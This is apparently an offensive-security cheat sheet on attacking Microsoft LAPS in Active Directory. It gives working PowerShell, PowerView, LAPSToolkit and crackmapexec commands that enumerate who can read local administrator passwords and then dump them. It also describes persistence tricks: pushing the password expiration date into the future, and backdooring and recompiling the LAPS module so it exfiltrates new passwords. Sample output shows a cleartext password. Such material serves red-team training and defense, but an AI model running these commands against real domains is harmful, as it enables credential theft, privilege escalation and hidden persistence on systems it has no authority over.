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Local Administrator Password Solution (LAPS) is a tool used for managing a system where administrator passwords, which are unique, randomized, and frequently changed, are applied to domain-joined computers. These passwords are stored securely within Active Directory and are only accessible to users who have been granted permission through Access Control Lists (ACLs). The security of the password transmissions from the client to the server is ensured by the use of Kerberos version 5 and Advanced Encryption Standard (AES).
In the domain's computer objects, the implementation of LAPS results in the addition of two new attributes: ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime. These attributes store the plain-text administrator password and its expiration time, respectively.
Check if activated
regquery"HKLM\Software\Policies\Microsoft Services\AdmPwd"/vAdmPwdEnableddir"C:\Program Files\LAPS\CSE"# Check if that folder exists and contains AdmPwd.dll# Find GPOs that have "LAPS" or some other descriptive term in the nameGet-DomainGPO|?{ $_.DisplayName-like"*laps*"}|select DisplayName, Name, GPCFileSysPath |fl# Search computer objects where the ms-Mcs-AdmPwdExpirationTime property is not null (any Domain User can read this property)
Get-DomainObject -SearchBase "LDAP://DC=sub,DC=domain,DC=local" | ? { $_."ms-mcs-admpwdexpirationtime" -ne $null } | select DnsHostname
LAPS Password Access
You could download the raw LAPS policy from \\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol and then use Parse-PolFile from the GPRegistryPolicyParser package can be used to convert this file into human-readable format.
Moreover, the native LAPS PowerShell cmdlets can be used if they're installed on a machine we have access to:
Get-Command*AdmPwd*CommandType Name Version Source----------------------------Cmdlet Find-AdmPwdExtendedRights5.0.0.0 AdmPwd.PSCmdlet Get-AdmPwdPassword5.0.0.0 AdmPwd.PSCmdlet Reset-AdmPwdPassword5.0.0.0 AdmPwd.PSCmdlet Set-AdmPwdAuditing5.0.0.0 AdmPwd.PSCmdlet Set-AdmPwdComputerSelfPermission5.0.0.0 AdmPwd.PSCmdlet Set-AdmPwdReadPasswordPermission5.0.0.0 AdmPwd.PSCmdlet Set-AdmPwdResetPasswordPermission5.0.0.0 AdmPwd.PSCmdlet Update-AdmPwdADSchema5.0.0.0 AdmPwd.PS# List who can read LAPS password of the given OUFind-AdmPwdExtendedRights-Identity Workstations | fl# Read the passwordGet-AdmPwdPassword-ComputerName wkstn-2| fl
PowerView can also be used to find out who can read the password and read it:
# Find the principals that have ReadPropery on ms-Mcs-AdmPwdGet-AdmPwdPassword-ComputerName wkstn-2| fl# Read the passwordGet-DomainObject-Identity wkstn-2-Properties ms-Mcs-AdmPwd
LAPSToolkit
The LAPSToolkit facilitates the enumeration of LAPS this with several functions.
One is parsing ExtendedRights for all computers with LAPS enabled. This will show groups specifically delegated to read LAPS passwords, which are often users in protected groups.
An account that has joined a computer to a domain receives All Extended Rights over that host, and this right gives the account the ability to read passwords. Enumeration may show a user account that can read the LAPS password on a host. This can help us target specific AD users who can read LAPS passwords.
# Get groups that can read passwordsFind-LAPSDelegatedGroupsOrgUnit Delegated Groups-----------------------OU=Servers,DC=DOMAIN_NAME,DC=LOCAL DOMAIN_NAME\Domain AdminsOU=Workstations,DC=DOMAIN_NAME,DC=LOCAL DOMAIN_NAME\LAPS Admin# Checks the rights on each computer with LAPS enabled for any groups# with read access and users with "All Extended Rights"Find-AdmPwdExtendedRightsComputerName Identity Reason--------------------------MSQL01.DOMAIN_NAME.LOCAL DOMAIN_NAME\Domain Admins DelegatedMSQL01.DOMAIN_NAME.LOCAL DOMAIN_NAME\LAPS Admins Delegated# Get computers with LAPS enabled, expirations time and the password (if you have access)Get-LAPSComputersComputerName Password Expiration------------------------------DC01.DOMAIN_NAME.LOCAL j&gR+A(s976Rf%12/10/202213:24:41
Dumping LAPS Passwords With Crackmapexec
If there is no access to a powershell you can abuse this privilege remotely through LDAP by using
crackmapexec ldap 10.10.10.10 -u user -p password --kdcHost 10.10.10.10 -M laps
This will dump all the passwords that the user can read, allowing you to get a better foothold with a different user.
LAPS Persistence
Expiration Date
Once admin, it's possible to obtain the passwords and prevent a machine from updating its password by setting the expiration date into the future.
# Get expiration timeGet-DomainObject-Identity computer-21-Properties ms-mcs-admpwdexpirationtime# Change expiration time## It's needed SYSTEM on the computerSet-DomainObject-Identity wkstn-2-Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"}
The password will still reset if an admin uses the Reset-AdmPwdPassword cmdlet; or if Do not allow password expiration time longer than required by policy is enabled in the LAPS GPO.
Backdoor
The original source code for LAPS can be found here, therefore it's possible to put a backdoor in the code (inside the Get-AdmPwdPassword method in Main/AdmPwd.PS/Main.cs for example) that will somehow exfiltrate new passwords or store them somewhere.
Then, just compile the new AdmPwd.PS.dll and upload it to the machine in C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll (and change the modification time).
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